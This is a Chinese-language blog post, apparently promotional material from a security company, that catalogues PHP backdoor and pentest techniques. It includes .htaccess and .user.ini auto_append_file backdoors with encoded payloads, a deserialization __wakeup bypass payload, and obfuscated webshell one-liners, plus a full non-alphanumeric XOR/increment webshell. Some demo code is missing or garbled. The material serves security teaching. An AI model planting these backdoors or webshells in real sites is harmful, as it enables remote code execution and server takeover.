滲透測試公司 對PHP網站安全後門檢測
很多想做滲透測試的朋友都想了解關於PHP後門漏洞的安全測試重點方法,以及該如何預防被中php後門,本節由我們的Sine安全高階滲透工程師進行全面的講解,來讓大家更好的理解和了解php程式碼的安全檢測,讓網站得到最大化的安全保障,安全保障了,網站才能更長遠的執行下去。
4.1.1. 後門
4.1.1.1. php.ini構成的後門
利用 auto_prepend_file 和 include_path
4.1.1.2. .htaccess後門
php_value auto_append_file .htaccess
#<?php phpinfo();
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
4.1.1.3. .user.ini檔案構成的PHP後門
.user.ini可執行於所有以fastcgi執行的server。利用方式同php.in
4.1.2. 反序列化
4.1.2.1. PHP序列化實現
PHP序列化處理共有三種,分別為php_serialize、php_binary和 WDDX,預設為php_serialize,可透過配置中的 session.serialize_handler 修改。
其中php_serialize的實現在 php-src/ext/standard/var.c 中,主要函式為 php_var_serialize_intern ,序列化後的格式如下:
- boolean
- b:<value>;
- b:1; // true
- b:0; // false
- integer
- i:<value>;
- double
- d:<value>;
- NULL
- N;
- string
- s:<length>:"<value>";
- s:1:"s";
- array
- a:<length>:{key, value};
- a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");
- object
- O:<class_name_length>:"<class_name><number_of_properties>:{<properties>};
- reference
- 指標型別
- R:reference;
- O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
- $a = new A();$a->a=1;$a->b=&$a->a;
4.1.2.2. PHP反序列化漏洞
php在反序列化的時候會呼叫 __wakeup / __sleep 等函式,可能會造成程式碼執行等問題。若沒有相關函式,在析構時也會呼叫相關的解構函式,同樣會造成程式碼執行。
另外 __toString / __call 兩個函式也有利用的可能。
其中 __wakeup 在反序列化時被觸發,__destruct 在GC時被觸發, __toString 在echo時被觸發, __call 在一個未被定義的函式呼叫時被觸發。
下面提供一個簡單的demo.
利用 auto_prepend_file 和 include_path
輸出
construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
把序列化的字串修改一下後,執行
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
輸出
wake up
Data's value is malicious value.
destruct
這裡看到,值被修改了.
上面是一個 unserialize() 的簡單應用,不難看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如讀寫檔案、運算元據庫,就可以透過函式實現檔案讀寫或者資料讀取的行為。
那麼,在 __wakeup() 中加入判斷是否可以阻止這個漏洞呢?在 __wakeup() 中我們加入一行程式碼
但其實還是可以繞過的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。當反序列化中object的個數和之前的個數不等時,wakeup就會被繞過,於是使用下面的payload
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
輸出
Data's value is malicious value.
destruct
這裡wakeup被繞過,值依舊被修改了。
4.1.3. Disable Functions
4.1.3.1. 機制實現
PHP中Disable Function的實現是在php-src/Zend/Zend-API.c中。PHP在啟動時,讀取配置檔案中禁止的函式,逐一根據禁止的函式名呼叫 zend_disable_function 來實現禁止的效果。
這個函式根據函式名在內建函式列表中找到對應的位置並修改掉,當前版本的程式碼如下:
和函式的實現方式類似,disable classes也是這樣實現的
因為這個實現機制的原因,在PHP啟動後透過 ini_set 來修改 disable_functions 或 disable_classes 是無效的。
4.1.3.2. Bypass
- LD_PRELOAD繞過
- PHP OPcache
- Mail函式
- imap_open
4.1.4. Open Basedir
4.1.4.1. 機制實現
PHP中Disable Function的實現是在php-src/main/fopen-wrappers.c中,實現方式是在呼叫檔案等相關操作時呼叫函式根據路徑來檢查是否在basedir內,其中一部分實現程式碼如下:
PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;
/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
pathbuf = estrdup(PG(open_basedir))
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '\0';
end++;
}
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
4.1.5. phpinfo相關漏洞
4.1.5.1. Session.Save
PHP的Session預設handler為檔案,儲存在 php.ini 的 session.save_path 中,若有任意讀寫檔案的許可權,則可修改或讀取session。從phpinfo中可獲得session位置
4.1.5.2. Session.Upload
php.ini預設開啟了 session.upload_progress.enabled , 該選項會導致生成上傳進度檔案,其儲存路徑可以在phpinfo中獲取。
那麼可以構造特別的報文向伺服器傳送,在有LFI的情況下即可利用。
4.1.5.3. /tmp臨時檔案競爭
phpinfo中可以看到上傳的臨時檔案的路徑,從而實現LFI
4.1.6. htaccess injection payload
4.1.6.1. file inclusion
利用 auto_prepend_file 和 include_path
4.1.6.2. code execution
php_value auto_append_file .htaccess
#<?php phpinfo();
4.1.6.3. file inclusion
- php_flag allow_url_include 1
- php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
- #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
- #php_value auto_append_file /evil-code.txt
4.1.6.4. code execution with UTF-7
php_flag zend.multibyte 1
php_value zend._encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
4.1.6.5. Source code disclosure
php_flag engine 0
4.1.7. WebShell
4.1.7.1. 常見變形
- GLOBALS
- eval($GLOBALS['_POST']['op']);
- $_FILE
- eval($_FILE['name']);
- 拆分
- assert(${"_PO"."ST"} ['sz']);
- 動態函式執行
- $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
- create_function
- $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
- preg_replace
- rot13
- 進位制轉化
- "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
- 利用檔名
- __FILE__
4.1.7.2. 字串變形函式
- ucwords
- ucfirst
- trim
- substr_replace
- substr
- strtr
- strtoupper
- strtolower
- strtok
- str_rot13
4.1.7.3. 回撥函式
- call_user_func_array
- call_user_func
- array_filter
- array_walk
- array_map
- registregister_shutdown_function
- register_tick_function
- filter_var
- filter_var_array
- uasort
- uksort
- array_reduce
- array_walk
- array_walk_recursive
4.1.7.4. 特殊字元Shell
PHP的字串可以在進行異或、自增運算的時候,會直接進行運算,故可以使用特殊字元來構成Shell。
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(_decode($_[_]));
4.1.8. 其它
4.1.8.1. 低精度
php中並不是用高精度來儲存浮點數,而是用使用 IEEE 754 雙精度格式,造成在涉及到浮點數比較的時候可能會出現預期之外的錯誤。比如 php -r "var_dump(0.2+0.7==0.9);" 這行程式碼的輸出是 bool(false) 而不是 bool(true)。這在一些情況下可能出現問題。
4.1.8.2. 弱型別
如果使用 == 來判斷相等,則會因為型別推斷出現一些預料之外的行為,比如magic hash,指當兩個md5值都是 0e[0-9]{30} 的時候,就會認為兩個hash值相等。另外在判斷字串和數字的時候,PHP會自動做型別轉換,那麼 1=="1a.php" 的結果會是true
另外在判斷一些hash時,如果傳入的是陣列,返回值會為 NULL, 因此在判斷來自網路請求的資料的雜湊值時需要先判斷資料型別。
同樣的, strcmp() ereg() strpos() 這些函式在處理陣列的時候也會異常,返回NULL。
4.1.8.3. 命令執行
preg_replace 第一個引數是//e的時候,第二個引數會被當作命令執行
4.1.8.4. 截斷
PHP字元存在截斷行為,可以使用 ereg / %00 / iconv 等實現php字元截斷的操作,從而觸發漏洞。
4.1.8.5. 變數覆蓋
當使用 extract / parse_str 等函式時,或者使用php的 $$ 特性時,如果沒有正確的呼叫,則可能使得使用者可以任意修改變數。
4.1.8.6. 執行系統命令
禁用的函式可以在phpinfo中的 disable_functions 中檢視
- pcntl_exec
- exec
- passthru
- popen
- shell_exec
- system
- proc_open
4.1.8.7. Magic函式
- __construct() __destruct()
- __call() __callStatic()
- __get() __set()
- __isset() __unset()
- __sleep() __wakeup()
- __toString()
- __invoke()
- __set_state()
- __clone()
- __debugInfo()
4.1.8.8. 檔案相關敏感函式
- move_uploaded_file
- file_put_contents / file_get_contents
- unlink
- fopen / fgets
4.1.8.9. php特性
- php自身在解析請求的時候,如果引數名字中包含” “、”.”、”[“這幾個字元,會將他們轉換成下劃線,講了那麼多滲透測試中PHP後門的安全檢測方法,那麼如果對此有需求的朋友可以諮詢專業的網站安全公司來做滲透測試,國內做的比較好的安全公司如Sinesafe,啟明星辰,綠盟等等。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2661129/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 網站滲透測試安全檢測漏洞網站
- 網站滲透測試安全檢測方案網站
- 網站安全維護對公司網站滲透測試剖析網站
- 網站安全公司 滲透測試運營之路網站
- 網站安全滲透測試公司心得總結網站
- 網站漏洞檢測 滲透測試檢測手法網站
- 滲透測試對檔案包含漏洞網站檢測網站
- 滲透測試公司談網站安全評估方法網站
- 網站安全滲透測試檢測認證登入分析網站
- 滲透測試網站安全漏洞檢測大體方法網站
- 網站安全測試之APP滲透測試漏洞網站APP
- 網站安全公司 滲透測試中的漏洞資訊蒐集網站
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 網站安全公司 滲透測試基礎知識點大全網站
- 網站滲透測試公司的成長之路網站
- 滲透測試 網站安全測試行業問題分析網站行業
- beescms網站滲透測試網站
- 網路安全滲透測試
- 網站安全評估滲透測試手法分析網站
- 滲透測試公司 對於越權漏洞的檢測與修復
- 滲透測試網站安全基礎點講解網站
- 微信小程式之滲透測試、加固、安全檢測微信小程式
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- 什麼是網站系統安全的滲透檢測?網站
- 多個角度分析滲透測試網站安全效能網站
- 網站安全滲透測試該如何增加就業概率網站就業
- 網站滲透測試服務之人工安全防護網站
- 企業網站安全滲透測試服務範圍網站
- 滲透測試公司實戰拿下客戶網站過程網站
- 滲透測試對網站漏洞修復執行命令重點檢查網站
- 網路安全審計工具—Nmap!滲透測試入門
- 滲透測試對app安全測試實戰過程分享APP
- 網站漏洞滲透測試覆盤檢查結果分析網站
- 軟體滲透測試基礎知識分享,可做滲透測試的軟體檢測公司有哪些?
- 如何學習網站漏洞滲透測試學習網站
- 看雪網站滲透測試服務網站
- APP安全測試 該如何滲透檢測APP存在的漏洞APP
- 安全測試和滲透測試的區別